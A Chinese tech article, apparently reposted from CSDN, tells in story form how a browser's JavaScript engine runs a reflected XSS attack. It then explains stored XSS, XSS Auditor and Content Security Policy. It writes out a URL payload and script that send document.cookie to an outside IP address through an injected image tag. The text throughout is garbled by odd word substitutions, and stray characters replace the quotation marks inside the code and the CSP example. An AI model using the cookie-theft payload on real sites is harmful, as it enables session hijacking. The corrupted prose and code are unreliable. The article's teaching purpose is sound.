责编 | Carol

封图 | CSDN 付费下载自视觉中国

神秘URL

jspurl参数加密一个神秘 URL 酿年夜祸差点让我背锅 RESTful API

我叫小风,是Windows帝国一个普通的上班族。
上一回说到由于一个跨域要求,我差点丢了饭碗,好在有惊无险,我的职场历险记还在连续。

“叮叮叮叮~~~~”,闹钟又把我给吵醒了,我一看韶光竟然已经这么晚了。

我赶紧起身,准备要去上班,好不容易在那家浏览器公司谋了个差事,可不敢迟到。

本日又是普通的一天,很快就到了深夜,上网业务少了,我和小雪妹子一合计,伙同卖力网络连接的老白和卖力存储的小黑,一起打起了麻将。

持续打了几圈,正在兴头上,公司的美女前台跑了过来,“你们几个别玩了,上网业务来了。
老白,这是URL,给”

我瞅了一眼这URL,看上去有些奇怪,不仅比之前见过的都长,貌似还夹杂着一些JavaScript代码

http://zone.oo.com/user/info.jsp?desc=\"大众/><script>$(\公众body\"大众).append(\"大众<img src='http://192.168.59.129?c=\"大众+escape(document.cookie) + \"大众'>\"大众)</script><!--

“老白,这URL长的好奇怪?会不会有什么问题?”,我向老白问到。

“嗨,你小子便是新来的,我见过的URL比你实行过的JS代码都多,什么奇形怪状的没见过,大惊小怪”,老白不屑一顾。

“大家把牌盖着,都别看,忙完了回来咱接着打”,老白连续说到。

于是大家各归各位,准备处理这一单上网业务。

很快,老白取回了这个URL背后的网页,交给了小雪来解析渲染。

小雪做了一半,叫住了我:“风哥,又有 <script> 标签了,该你上了”。
我接过小雪手里的网页,猛地一看,这不是刚刚URL里面涌现的代码吗?怎么又跑到网页里面去了?

心里溘然涌上一种不好的预感,正在困惑之中,老白催我了,“小雪小风你俩赶紧的,网页加载半天了还没显示出来!

但愿是我多想了,我开始实行这 <script> 标签中的代码了。

<script>

$(\"大众body\公众).append(\"大众\<img src='http://192.168.59.129:10086?c=\"大众

+ escape(document.cookie) + \公众'>\公众)

</script>

我要创建一个新的 <img>标签,添加到网页正文中去。
看了一下这个图片的来源,是一个新的地址,再一看,还要把当前网站的Cookie带着作为参数才能拿到这个图片。

我来到小黑的存储仓库,准备向他索要Cookie。

当我表明来意往后,小黑也显得有些谨慎,“按照公司规定,一个网站的Cookie是不能随便给别的网站访问的”

“这我当然知道,不过现在是这个网站的JS代码主动把Cookie取出来发给别人,这不算违反公司规定吧”,我阐明到。

小黑邹着眉头想了一想,也就赞许了。

我拿到cookie后,构建了一个完全的 <img> 标签添加到了网页的DOM树中,之后还给小雪连续渲染。

网页很快渲染完成展示出来了,忙完之后我们连续开始未完的牌局。

过了一下子,人类终于关掉了浏览器,我们也可以放工了······

XSS跨站脚本攻击

第二天一早,我刚到公司,小雪妹子就转过分见告我:“风哥,主管让你去趟他的办公室,他彷佛不太高兴,你当心点”

“你知道是什么事情吗?”

“我也不太清楚,只听说你实行了什么缺点的JavaScript代码”

我心里一紧,觉得大事不妙,难道是昨晚那奇怪的代码有什么问题?

来到主管的办公室,见里面坐了一个年轻小哥
我轻轻的敲了拍门问到:“主管,您找我有事?”

主拙见我到来,指着阁下的沙发示意我也坐下。

“你闯祸了知道吗?”,领导扔给我一页文件。

我拿起文件一看,上面赫然写着我昨晚实行那段奇怪的JavaScript代码。

“主管,我不太清楚,这是有什么问题吗?”,我小声问道。

主管指着阁下那个年轻小哥说到:“这位是OO空间网站的卖力人,让他见告你吧”

小哥点了点头说到:“是这样的,我们创造有人盗用我们网站的Cookie,免登录直接访问了进去,经由日志排查,创造是你们这里把Cookie透露的,以是想过来理解一下情形。

“这段代码是你们网站自己的,我只是完成我的事情实行了它而已啊”,我开始有些紧张了。

“可是我们网站根本没有这段代码,也不可能把Cookie就这样发给别人的”,这小哥也争辩道。

办公室的气氛变得有些紧张,现场陷入了短暂的安静。

就在此时,年轻小哥出去接了一个电话。

少焉之后,小哥再次回到办公室,神色溘然和缓了许多,笑着说到:“不好意思,刚刚接到同事的电话说,他们已经排查出了问题,是我们网站对URL中的参数没有检讨,直接写入了网页中,被人利用传入了JS代码。
跟你们该当没有关系,实在是抱歉”

听完,我松了一口气,差点就要背锅了。

回到工位,我把事情的经由见告了大伙。

小雪听后吐槽:“那些奇奇怪怪的URL就别乱点嘛,真是给我们添乱”

“你看你看,我昨晚上就以为有些不对劲。
这坏蛋手段挺高啊,能想出这么个损招,咱们给这种攻击办法取个名字吧”,小黑说到,“叫Cross Site Script攻击怎么样?”

老白点了点头,“跨站脚本攻击,嗯,总结很到位,那就简称CSS吧!

小雪一听转过分来,“你叫CSS,那我的层叠样式表岂不是要改名让贤?”

老白挠了挠头,有些不好意思,“哦,忘了这一茬。
那改一下,叫XSS,这总可以了吧?”

我们都点了点头,就这么定了。

XSS Auditor

虽然这一次的事情任务不在我们浏览器,不过我一贯还是有些后怕。

这天晚上,我又仔细回顾了那天全体事情的经由。

溘然脑筋里灵光一闪,创造一个主要的特点。

既然JS代码同时涌如今了要求的URL中和相应的网页中,何不利用这个特点来进行针对性拦截呢?

越想越难入睡,连夜写起了方案。

第二天,来到公司,打算将昨晚的方案申报请示给主管,挣一下表现。

我再次来到主管办公室,主拙见是我,呼唤道:“小风啊,来来来,刚好找你有点事”

我快步走了进去,只见主管又拿出了一叠文件放在我的面前,随后说到:“这是我搞到的绝密资料,是咱们隔壁Chrome浏览器公司的一个叫XSS Auditor的技能,听说可以阻挡类似上次的攻击事宜,你抽空研究一下”

我脑筋一懵,赶紧快速浏览了这份文件,没想到居然跟我的方案撞到一块儿了,而且比我想的还全面细致。
我只好悄悄收起了原来准备申报请示的方案······

几天后,主管宣告我们也要用上这种技能,增强咱们浏览器的安全性。

存储型XSS

“听说了吗?隔壁Chrome浏览器公司也发生XSS攻击了”,一天中午,老白神神秘秘的说到。

我一听来了精神,“不是有XSS Auditor吗,怎么还会发生这种事?”

“这回那些坏蛋换招了,他们没有把JS代码放在URL中,XSS Auditor自然是发觉不明晰”

“不在URL中,那放哪里了?”

“听说是存在了数据库里,访问网页的时候从数据库里读取出来后,直接给添补到了网页上了,喏,就像这样”,老白说完画了一个图。

“对了,他们借此机会把XSS攻击分成了两种,以前那种直接通过URL把JS代码注入进网页的办法叫做反射型XSS ,这一次这种叫存储型XSS。
”,老白连续说到。

我看了老白的图一下就明白了,“这一招也太狠了,存进了网站的数据库里,所有人访问页面都得中招。

“可不是咋的,OO空间网站那边已经乱成一锅粥了,正在内部整顿,对所有的输入进行全面的检讨过滤,防止JS代码混进去。

“这种事情还是得他们网站自己做好检讨,咱们浏览器也帮不上什么忙”,一旁的小黑也插了一嘴。

大家七嘴八舌聊了几句就散了。

虽然小黑说的也没错,不过上次的方案撞车,我一贯不太服气,这一次机会来了,我假如能再想出一套方案,能把这次的新型XSS一并办理的话,那就扬眉吐气了。

之后一段韶光,一有空隙我就开始思考这个问题,却一贯没什么进展。

CSP

这一天中午,没什么事情要忙,我又想起了这个问题,小雪他们又组织打麻将,我没有心思便谢绝了。

老白闻讯过来,说到:“小风,你还在想那个问题啊,你这两天没看新闻吗,W3C标准化组织推出了一个新技能,已经把这个问题办理了!

老白的话如当头一棒,“什么技能?怎么办理的?”

“你看你,每天关起门来研究,都不知道表面的天下变革有多快。
你去理解一下,彷佛叫什么Content Security Policy,哦对,便是这个,简称叫CSP。

我赶紧去打听了这个叫CSP的新技能,看完直拍大腿,我怎么就没想到。

CSP规定了一个叫Content-Security-Policy的信息,网站通过这个信息见告浏览器哪些外部资源可以加载和实行。
这个信息可以用HTTP头的形式涌现,像这样:

也可以通过 <meta>标签涌现,像这样:

<meta http-equiv=\"大众Content-Security-Policy\公众 content=\公众script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:\公众>

至于里面的内容,则是将所有可能涌现外部资源加载的地方进行了指示,浏览器拿到它就能知道能去哪些地址加载对应的资源,如果资源所在的地址不在名单之内就谢绝加载:

- script-src:外部脚本- style-src:样式表- img-src:图像- media-src:媒体文件(音频和视频)- font-src:字体文件- object-src:插件(比如 Flash)- child-src:框架- frame-ancestors:嵌入的外部资源- connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)- worker-src:worker脚本- manifest-src:manifest 文件

比如 img-src的内容是self,那所有的 <img>标签的src属性必须是在当前网站才行,如果加载其他地址的图片就会谢绝。

不仅如此,还供应了一个叫report-uri的字段,字段内容是一个做事器地址,浏览器创造有不符合规定的资源加载后,除了谢绝加载还可以把这一情形报告给这个地址,网站就能及时知道预警了。

真是完美的办理方案!
没想到,竟然这么多竞争对手都已经用上了这项技能。

当天下午,我就拉着老白去到领导办公室,说服他将这项技能在咱们公司也用起来。

烦人的XSS攻击总算是缓解了不少,我们也难得度过了一段韶光的太平日子。

未完待续······

彩蛋

太平的日子没有太持久,那件事之后半个月,我又由于实行一段JS代码霸占CPU太久,被帝国安全警卫队勒令我们浏览器公司逼迫关闭。

实行JavaScript这份工是越来越不好打了。

预知后事如何,请持续关注……

☞程序员在这些地方敲代码,普通条记本根本扛不住

☞怒肝 8 个月源码,我成为了 Spring 开源贡献者

☞恐怖!
CPU 竟成了黑客的帮凶

☞Gary Marcus:因果熵理论的荒诞和认知科学带给AI的11个启迪 | 文末赠书

☞这 10 个云打算缺点,会让你的业务屁滚尿流

☞好扑科技结合区块链行业发展趋势,重磅推出“好扑区块链合资人”操持